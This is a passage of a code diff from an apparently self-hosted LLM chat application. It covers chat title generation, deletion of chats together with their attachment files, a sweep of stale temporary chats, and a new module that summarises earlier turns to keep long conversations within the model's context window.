+        log.debug("auto-title failed, using fallback: %s", exc)
+        return fallback_title(question)
+
+    # `complete` hands back `message.content` as it arrived. A model that emits
+    # `<think>` tags inline puts them in exactly that field, so without this the
+    # title was "<think>Okay, the user wants a short title for". Reasoning sent
+    # in a separate `reasoning_content` field is ignored by `complete` already.
+    answered, _thinking = strip_reasoning(raw)
+
+    title = " ".join(answered.split()).strip().strip('"“”\'')
+    # Small models sometimes ignore the instruction and answer the question
+    # instead; an over-long reply is a better signal of that than anything else.
+    if not title or len(title) > MAX_TITLE_LENGTH * 1.5:
+        return fallback_title(question)
+    return title[:MAX_TITLE_LENGTH]
+
+
+def create_message(
+    db: DBSession,
+    chat: Chat,
+    role: str,
+    content: str = "",
+    *,
+    complete_: bool = True,
+    model_id: str = "",
+    queued: bool = False,
+    machine: bool = False,
+) -> Message:
+    message = Message(
+        chat_id=chat.id,
+        role=role,
+        content=content,
+        complete=complete_,
+        model_id=model_id,
+        queued=queued,
+        machine=machine,
+    )
+    db.add(message)
+    db.commit()
+    return message
+
+
+async def summarise_for_compaction(
+    endpoint: Endpoint,
+    model_id: str,
+    *,
+    transcript: str,
+    previous_summary: str,
+    template: str,
+) -> str:
+    """Ask the model to summarise the earlier turns.
+
+    `template` is passed in for the same reason `generate_title`'s is: this runs
+    after the generation's session has closed, and opening another one there is
+    how you get a session that outlives its scope. An empty template means an
+    administrator cleared the fragment, and nothing is asked of anyone.
+    """
+    from lembas.services import prompts as prompts_service
+
+    if not template.strip() or not transcript.strip():
+        return ""
+
+    prompt = prompts_service.substitute(
+        template, {"transcript": transcript, "previous_summary": previous_summary}
+    )
+    raw = await complete(
+        endpoint,
+        {
+            "model": model_id,
+            "messages": [{"role": ROLE_USER, "content": prompt}],
+            "max_tokens": 1200,
+            # Low, but not zero: this is recall, not invention.
+            "temperature": 0.3,
+        },
+    )
+    return raw.strip()
+
+
+def delete_chats(db: DBSession, chats) -> int:
+    """Delete chats, and the files their attachments point at.
+
+    **The one way to delete a chat.** `db.delete(chat)` cascades to its messages
+    and to its attachment *rows*, and leaves every file on disk -- a generated
+    image, an uploaded PDF, a photo -- with nothing that will ever look at them
+    again: `sweep_orphans` only considers uploads that were never attached.
+
+    `files_service.remove_files_for_chats` was written for exactly this and was
+    called from one place, the temporary sweep. The delete button, a schedule's
+    task chat, a helper's hidden chat and deleting an account all went straight
+    to `db.delete`, so four of the five ways a chat can end leaked its files.
+    That is `sharing.forget_principal` again: a helper that exists, is correct,
+    and is not called on the path that needs it.
+
+    The order matters and is why this is a function rather than a note. The
+    files have to be unlinked **while the rows still say which they are**, so it
+    happens before the delete and in the same session.
+
+    Does not commit -- the caller decides, because some of them are deleting
+    other things in the same transaction.
+    """
+    live = [chat for chat in chats if chat is not None]
+    if not live:
+        return 0
+    files_service.remove_files_for_chats(db, [chat.id for chat in live])
+    for chat in live:
+        db.delete(chat)
+    return len(live)
+
+
+def sweep_temporary(db: DBSession, older_than: timedelta = TEMPORARY_LIFETIME) -> int:
+    """Delete temporary chats nobody has touched for a day.
+
+    Age is measured from the newest message rather than from the chat row's own
+    timestamps. `created_at` would destroy a conversation still in use at hour
+    23, and `updated_at` does not move when a message is inserted -- `onupdate`
+    fires on an UPDATE of the chat, and adding a message is not one.
+
+    Startup only, like files.sweep_orphans beside it. A server that runs for a
+    month sweeps once; that is the trade the existing sweep already makes, and a
+    scheduler is a whole new concern for a single-worker application.
+    """
+    cutoff = datetime.now(UTC) - older_than
+    newest = (
+        select(Message.chat_id, func.max(Message.created_at).label("last"))
+        .group_by(Message.chat_id)
+        .subquery()
+    )
+    stale = list(
+        db.scalars(
+            select(Chat)
+            .outerjoin(newest, newest.c.chat_id == Chat.id)
+            .where(
+                Chat.temporary.is_(True),
+                func.coalesce(newest.c.last, Chat.created_at) < cutoff,
+            )
+        )
+    )
+    if not stale:
+        return 0
+
+    delete_chats(db, stale)
+    db.commit()
+    log.info("swept %d temporary chat(s)", len(stale))
+    return len(stale)
+
+
+def user_chats(db: DBSession, user_id: str, *, folder_id: str | None = None) -> list[Chat]:
+    query = select(Chat).where(
+        Chat.user_id == user_id, Chat.archived.is_(False), Chat.temporary.is_(False)
+    )
+    if folder_id is not None:
+        query = query.where(Chat.folder_id == folder_id)
+    return list(db.scalars(query.order_by(Chat.pinned.desc(), Chat.updated_at.desc())))
+
+
+__all__ = [
+    "ROLE_ASSISTANT",
+    "ROLE_USER",
+    "available_models",
+    "build_request",
+    "create_message",
+    "default_model",
+    "fallback_title",
+    "generate_title",
+    "resolve_endpoint",
+    "user_chats",
+]

src/lembas/services/compaction.py

@@ -0,0 +1,207 @@
+"""Carrying a long conversation forward without carrying all of it.
+
+Past a certain length every chat stops working: the window fills, and the only
+options are to lose the beginning or to start again. Compaction summarises the
+earlier turns and sends the summary in their place.
+
+**The messages are kept.** They stay in the transcript, collapsed behind a
+divider, and simply stop being part of the request. A summary that turned out
+badly is then a bad turn rather than a lost conversation, which is what makes
+the button safe to press and automatic compaction safe to have at all.
+
+**Stored on the Chat, not as a synthetic Message.** A synthetic row would need a
+role: `system` breaks the one-system-message rule the moment `build_messages`
+emits it beside the harness, and `user`/`assistant` makes it a turn people can
+edit, regenerate from and copy, indistinguishable from a real one in all four
+places a bubble is rendered. Worse, "editing rewinds, it does not branch" would
+silently delete it and leave no marker that compaction had ever happened.
+"""
+
+from __future__ import annotations
+
+import logging
+from datetime import UTC, datetime
+
+from sqlalchemy import select
+from sqlalchemy.orm import Session as DBSession
+
+from lembas.db.models import KIND_MESSAGES, ROLE_ASSISTANT, Chat, Message
+from lembas.services import metrics as metrics_service
+from lembas.services import settings_store, tokens
+
+log = logging.getLogger(__name__)
+
+# What the summariser is shown. Past this the oldest turns are dropped with a
+# marker: a transcript that does not fit the window it is protecting is no use.
+MAX_TRANSCRIPT_CHARS = 24_000
+
+# Settings key, in the GENERAL group. 0 turns automatic compaction off; the
+# button still works, because a person asking for it does not need a threshold.
+THRESHOLD_KEY = "compact_threshold"
+DEFAULT_THRESHOLD = 95
+
+
+def threshold(db: DBSession) -> int:
+    value = settings_store.get(db, THRESHOLD_KEY)
+    return int(value) if isinstance(value, (int, float)) else DEFAULT_THRESHOLD
+
+
+def moment(message: Message) -> datetime:
+    """A message's timestamp, always comparable.
+
+    SQLite does not store the offset, so a row loaded from disk comes back naive
+    while one still in the session's identity map keeps the tzinfo it was
+    created with. Comparing the two raises, and every comparison here is between
+    exactly those: a cutoff fetched by id against history loaded in bulk.
+    `files.sweep_orphans` already normalises for the same reason.
+    """
+    created = message.created_at
+    return created if created.tzinfo is not None else created.replace(tzinfo=UTC)
+
+
+def cutoff_message(db: DBSession, chat: Chat) -> Message | None:
+    """The message compaction reached, or None if it never has.
+
+    There is no foreign key to null this out on an upgraded database, so the
+    check is load-bearing rather than defensive: an id pointing at a message
+    that has been deleted means the boundary no longer describes anything, and
+    the chat has to read as uncompacted.
+    """
+    if not chat.compact_summary or not chat.compacted_through_id:
+        return None
+    message = db.get(Message, chat.compacted_through_id)
+    if message is None or message.chat_id != chat.id:
+        return None
+    return message
+
+
+def reset(chat: Chat) -> None:
+    """Forget that this chat was ever compacted."""
+    chat.compact_summary = ""
+    chat.compacted_through_id = None
+    chat.compacted_at = None
+
+
+def apply(chat: Chat, *, summary: str, upto: Message) -> None:
+    """Record a summary and move the boundary. Caller commits."""
+    chat.compact_summary = summary.strip()
+    chat.compacted_through_id = upto.id
+    chat.compacted_at = datetime.now(UTC)
+
+
+def split(
+    db: DBSession, chat: Chat, messages: list[Message]
+) -> tuple[list[Message], list[Message]]:
+    """(summarised, live) -- what is behind the divider, and what is not."""
+    cutoff = cutoff_message(db, chat)
+    if cutoff is None:
+        return [], list(messages)
+    boundary = moment(cutoff)
+    return (
+        # A prompt still waiting to be sent stays on the live side whatever its
+        # timestamp says. Folding one into the "earlier messages" details would
+        # hide the only place its Send now and Discard exist, and it has not
+        # been part of any request to summarise.
+        [m for m in messages if not m.queued and moment(m) <= boundary],
+        [m for m in messages if m.queued or moment(m) > boundary],
+    )
+
+
+def last_complete(db: DBSession, chat: Chat) -> Message | None:
+    """The newest finished assistant turn: where compaction should stop.
+
+    Landing on a reply rather than a question means the kept history starts on a
+    user turn, which is what every chat template expects.
+    """
+    return db.scalar(
+        select(Message)
+        .where(
+            Message.chat_id == chat.id,
+            Message.role == ROLE_ASSISTANT,
+            Message.complete.is_(True),
+        )
+        .order_by(Message.created_at.desc())
+    )
+
+
+def transcript(db: DBSession, chat: Chat, *, upto: Message) -> str:
+    """The turns to summarise, oldest first, as plain text.
+
+    Only the delta since the last compaction: the previous summary is supplied
+    separately, and the instruction asks for one record, so each summary
+    subsumes the one before it. Re-summarising the whole chat every time grows
+    quadratically and eventually exceeds the very window this protects.
+    """
+    previous = cutoff_message(db, chat)
+    query = select(Message).where(
+        Message.chat_id == chat.id,
+        Message.created_at <= upto.created_at,
+        Message.error == "",
+        # Not yet sent to anything. Summarising it would fold words the model
+        # has never seen into the record, and then deliver them again later.
+        Message.queued.is_(False),
+    )
+    if previous is not None:
+        query = query.where(Message.created_at > previous.created_at)
+
+    lines: list[str] = []
+    for message in db.scalars(query.order_by(Message.created_at)):
+        body = message.content.strip()
+        if not body:
+            continue
+        lines.append(f"{message.role}: {body}")
+
+    text = "\n\n".join(lines)
+    if len(text) > MAX_TRANSCRIPT_CHARS:
+        # Keep the most recent part: the older it is, the more likely the
+        # previous summary already covers it.
+        text = "[earlier turns omitted]\n\n" + text[-MAX_TRANSCRIPT_CHARS:]
+    return text
+
+
+def previous_summary_block(chat: Chat) -> str:
+    """The earlier summary, headed, or "" on a first compaction.
+
+    Empty is fine to pass straight through: `prompts.substitute` drops a line
+    that held a known variable and expanded to nothing, so the prompt does not
+    end up with a hole where a heading was.
+    """
+    if not chat.compact_summary.strip():
+        return ""
+    return "## Summary of even earlier turns\n\n" + chat.compact_summary.strip()
+
+
+def should_compact(db: DBSession, chat: Chat, *, pending: str = "") -> bool:
+    """Whether the next request should be summarised first.
+
+    Judged from the last reply's recorded usage plus an estimate of the new
+    turn. True prompt_tokens are only knowable after a response, so a
+    retrospective figure is the honest basis -- but on its own it is one turn
+    stale, and fifty thousand characters pasted into the composer would overflow
+    a window that measured 90% last time. The estimator covers only that delta.
+
+    Never fires when the model's context length is unknown. Acting on a number
+    nobody supplied is exactly what the 0-means-unknown rule exists to prevent.
+    """
+    limit = threshold(db)
+    if limit <= 0:
+        return False
+
+    # The Messages conversation bounds its own request mechanically, in
+    # `build_messages`. Two mechanisms narrowing one transcript is how a summary
+    # ends up summarising a summary -- and this one would be summarising turns
+    # that are already outside the request, which achieves nothing at the cost
+    # of a model call and a divider on a page that has no divider.
+    if chat.kind == KIND_MESSAGES:
+        return False
+
+    last = last_complete(db, chat)
+    if last is None:
+        return False
+
+    usage = metrics_service.from_message(last.usage_json)
+    if usage.context_limit <= 0 or usage.context_tokens <= 0:
+        return False
+
+    projected = usage.context_tokens + tokens.estimate(pending)
+    return projected >= usage.context_limit * limit / 100